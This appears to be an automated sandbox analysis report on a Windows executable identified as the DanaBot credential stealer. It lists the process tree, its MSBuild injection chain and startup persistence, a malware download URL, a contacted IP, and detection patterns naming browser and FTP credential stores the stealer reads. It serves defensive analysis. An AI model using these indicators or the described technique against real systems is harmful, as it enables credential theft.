Edit tour

Windows Analysis Report
zsd5jgZ9LU.exe

Overview

General Information

Sample name:	zsd5jgZ9LU.exe renamed because original name is a hash value
Original sample name:	b2da9370e2ab2ac402d886e54dd74f82.exe
Analysis ID:	1639964
MD5:	b2da9370e2ab2ac402d886e54dd74f82
SHA1:	a311ccd3697cb9b80a19569a84a21c54a9e6ad7b
SHA256:	8e42ddd51dd4c55d48b38b2f346d2be2c3d5ffd3d8a30df79f7189777eab69ad
Tags:	exeuser-abuse_ch
Infos:

Detection

DanaBot

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected DanaBot stealer dll

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code contains very large strings

.NET source code references suspicious native API functions

Allocates memory in foreign processes

Compiles code for process injection (via .Net compiler)

Compiles code to access protected / encrypted code

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

May use the Tor software to hide its network traffic

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

zsd5jgZ9LU.exe (PID: 7064 cmdline: "C:\Users\user\Desktop\zsd5jgZ9LU.exe" MD5: B2DA9370E2AB2AC402D886E54DD74F82)

csc.exe (PID: 7088 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6240 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DB.tmp" "c:\Users\user\AppData\Local\Temp\tkirzpgp\CSC51B3D3626D6842D5B72D44298C293C.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csc.exe (PID: 6420 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6608 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES888.tmp" "c:\Users\user\AppData\Local\Temp\xo2xvbmi\CSC77F616922C5D4CA187853A69BCCD35F9.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 6420 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6560 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6436 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

zsd5jgZ9LU.exe (PID: 7068 cmdline: "C:\Windows\Temp\zsd5jgZ9LU.exe" MD5: B2DA9370E2AB2AC402D886E54DD74F82)

csc.exe (PID: 6560 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qul4nop0.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 336 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES464D.tmp" "c:\Users\user\AppData\Local\Temp\CSC286D3A74DE564A65A478D1CA1432C8C.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

csc.exe (PID: 612 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wfb2epz.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 3532 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCE.tmp" "c:\Users\user\AppData\Local\Temp\CSCC06E5127D0364BB483FE7262E1E39CC8.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 2656 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 4460 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 1580 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.3691503846.000000000377A000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32fc00:$f1: FileZilla\recentservers.xml 0x32fbbc:$f2: FileZilla\sitemanager.xml 0x35b1e6:$b1: Chrome\User Data\ 0x361e2a:$b1: Chrome\User Data\ 0x362946:$b1: Chrome\User Data\ 0x3423e2:$b2: Mozilla\Firefox\Profiles 0x356112:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3810c2:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x354afc:$b4: Opera Software\Opera Stable\Login Data 0x35b2b6:$b5: YandexBrowser\User Data\ 0x373d40:$s5: account.cfn 0x353fda:$s6: wand.dat 0x353a8e:$a1: username_value 0x35a05a:$a1: username_value 0x35a32a:$a1: username_value 0x35c7de:$a1: username_value 0x353aba:$a2: password_value 0x35a0b2:$a2: password_value 0x35a382:$a2: password_value 0x35c836:$a2: password_value 0x35d8da:$a3: encryptedUsername
00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: zsd5jgZ9LU.exe PID: 7064	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: zsd5jgZ9LU.exe PID: 7064	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: zsd5jgZ9LU.exe PID: 7064	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: MSBuild.exe PID: 6436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6436	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: zsd5jgZ9LU.exe PID: 7068	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 1580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 1580	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.2.MSBuild.exe.3340000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
27.2.MSBuild.exe.3340000.1.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
27.2.MSBuild.exe.3340000.1.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32de06:$f1: FileZilla\recentservers.xml 0x32ddc2:$f2: FileZilla\sitemanager.xml 0x3593ec:$b1: Chrome\User Data\ 0x360030:$b1: Chrome\User Data\ 0x360b4c:$b1: Chrome\User Data\ 0x3405e8:$b2: Mozilla\Firefox\Profiles 0x354318:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x37f2c8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x352d02:$b4: Opera Software\Opera Stable\Login Data 0x3594bc:$b5: YandexBrowser\User Data\ 0x371f46:$s5: account.cfn 0x3521e0:$s6: wand.dat 0x351c94:$a1: username_value 0x358260:$a1: username_value 0x358530:$a1: username_value 0x35a9e4:$a1: username_value 0x351cc0:$a2: password_value 0x3582b8:$a2: password_value 0x358588:$a2: password_value 0x35aa3c:$a2: password_value 0x35bae0:$a3: encryptedUsername
27.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
27.2.MSBuild.exe.400000.0.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
27.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32f000:$f1: FileZilla\recentservers.xml 0x32efbc:$f2: FileZilla\sitemanager.xml 0x35a5e6:$b1: Chrome\User Data\ 0x36122a:$b1: Chrome\User Data\ 0x361d46:$b1: Chrome\User Data\ 0x3417e2:$b2: Mozilla\Firefox\Profiles 0x355512:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3804c2:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x353efc:$b4: Opera Software\Opera Stable\Login Data 0x35a6b6:$b5: YandexBrowser\User Data\ 0x373140:$s5: account.cfn 0x3533da:$s6: wand.dat 0x352e8e:$a1: username_value 0x35945a:$a1: username_value 0x35972a:$a1: username_value 0x35bbde:$a1: username_value 0x352eba:$a2: password_value 0x3594b2:$a2: password_value 0x359782:$a2: password_value 0x35bc36:$a2: password_value 0x35ccda:$a3: encryptedUsername
27.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
27.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
27.2.MSBuild.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x32fc00:$f1: FileZilla\recentservers.xml 0x32fbbc:$f2: FileZilla\sitemanager.xml 0x35b1e6:$b1: Chrome\User Data\ 0x361e2a:$b1: Chrome\User Data\ 0x362946:$b1: Chrome\User Data\ 0x3423e2:$b2: Mozilla\Firefox\Profiles 0x356112:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3810c2:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x354afc:$b4: Opera Software\Opera Stable\Login Data 0x35b2b6:$b5: YandexBrowser\User Data\ 0x373d40:$s5: account.cfn 0x353fda:$s6: wand.dat 0x353a8e:$a1: username_value 0x35a05a:$a1: username_value 0x35a32a:$a1: username_value 0x35c7de:$a1: username_value 0x353aba:$a2: password_value 0x35a0b2:$a2: password_value 0x35a382:$a2: password_value 0x35c836:$a2: password_value 0x35d8da:$a3: encryptedUsername
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, SourceProcessId: 6436, StartAddress: 37E1864, TargetImage: C:\Windows\System32\conhost.exe, TargetProcessId: 6436

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 196.251.86.102, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6436, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49690

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\zsd5jgZ9LU.exe", ParentImage: C:\Users\user\Desktop\zsd5jgZ9LU.exe, ParentProcessId: 7064, ParentProcessName: zsd5jgZ9LU.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", ProcessId: 7088, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\zsd5jgZ9LU.exe, ProcessId: 7064, TargetFilename: C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\zsd5jgZ9LU.exe, ProcessId: 7064, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\zsd5jgZ9LU.exe", ParentImage: C:\Users\user\Desktop\zsd5jgZ9LU.exe, ParentProcessId: 7064, ParentProcessName: zsd5jgZ9LU.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline", ProcessId: 7088, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: zsd5jgZ9LU.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://147.45.44.68/ls/esvg.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.dll	Avira: detection malicious, Label: TR/Dropper.Gen7
Source: C:\Users\user\AppData\Local\Temp\5wfb2epz.dll	Avira: detection malicious, Label: TR/Dropper.Gen7

Multi AV Scanner detection for submitted file

Source: zsd5jgZ9LU.exe	Virustotal: Detection: 68%			Perma Link
Source: zsd5jgZ9LU.exe	ReversingLabs: Detection: 72%

Yara detected DanaBot stealer dll

Source: Yara match	File source: 27.2.MSBuild.exe.3340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3691503846.000000000377A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zsd5jgZ9LU.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1580, type: MEMORYSTR

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_038103F0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptAcquireContextA,CryptImportKey,CryptCreateHash,CryptHashData,CryptVerifySignatureW,CryptDecrypt,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	27_2_038103F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381003C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptEncrypt,CryptEncrypt,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptImportKey,CryptSignHashA,CryptSignHashA,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	27_2_0381003C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810BE4 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,CryptDestroyKey,CryptReleaseContext,	27_2_03810BE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_038118D8 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	27_2_038118D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810800 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptDecrypt,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptReleaseContext,	27_2_03810800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03811FEC CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	27_2_03811FEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0380FF04 CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptExportKey,CryptExportKey,CryptDestroyKey,CryptReleaseContext,	27_2_0380FF04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03811DEC CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	27_2_03811DEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381038D CryptReleaseContext,	27_2_0381038D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381030F CryptDestroyHash,	27_2_0381030F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381032D CryptReleaseContext,	27_2_0381032D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810351 CryptDestroyKey,	27_2_03810351
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381036F CryptDestroyHash,	27_2_0381036F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_038102F1 CryptDestroyKey,	27_2_038102F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03812211 CryptReleaseContext,	27_2_03812211
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_038121F3 CryptDestroyHash,	27_2_038121F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381079D CryptReleaseContext,	27_2_0381079D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810723 CryptDestroyKey,	27_2_03810723
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810741 CryptReleaseContext,	27_2_03810741
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810761 CryptDestroyKey,	27_2_03810761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381077F CryptDestroyHash,	27_2_0381077F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810BA6 CryptReleaseContext,	27_2_03810BA6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810B2D CryptDestroyKey,	27_2_03810B2D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810B68 CryptReleaseContext,	27_2_03810B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03811A25 CryptReleaseContext,	27_2_03811A25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03811F90 CryptDestroyHash,	27_2_03811F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810F9A CryptDestroyKey,	27_2_03810F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03811FAE CryptReleaseContext,	27_2_03811FAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810FB8 CryptReleaseContext,	27_2_03810FB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810F5C CryptDestroyKey,	27_2_03810F5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810F7A CryptReleaseContext,	27_2_03810F7A

Source: unknown

HTTPS traffic detected: 13.107.253.72:443 -> 192.168.2.12:49726 version: TLS 1.2

Source: zsd5jgZ9LU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.pdb source: zsd5jgZ9LU.exe, 00000000.00000002.1313462771.0000000002932000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.pdb source: zsd5jgZ9LU.exe, 00000000.00000002.1313462771.0000000002932000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q.C:\Users\user\AppData\Local\Temp\5wfb2epz.pdb\| source: zsd5jgZ9LU.exe, 00000012.00000002.1489499460.0000000003522000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q.C:\Users\user\AppData\Local\Temp\5wfb2epz.pdb source: zsd5jgZ9LU.exe, 00000012.00000002.1489499460.0000000003522000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q.C:\Users\user\AppData\Local\Temp\qul4nop0.pdb source: zsd5jgZ9LU.exe, 00000012.00000002.1489499460.0000000003522000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.pdb\| source: zsd5jgZ9LU.exe, 00000000.00000002.1313462771.0000000002932000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0334E210 FindFirstFileW,FindClose,	27_2_0334E210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03363204 FindFirstFileW,FindClose,	27_2_03363204
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_033636F4 FindFirstFileW,GetLastError,	27_2_033636F4
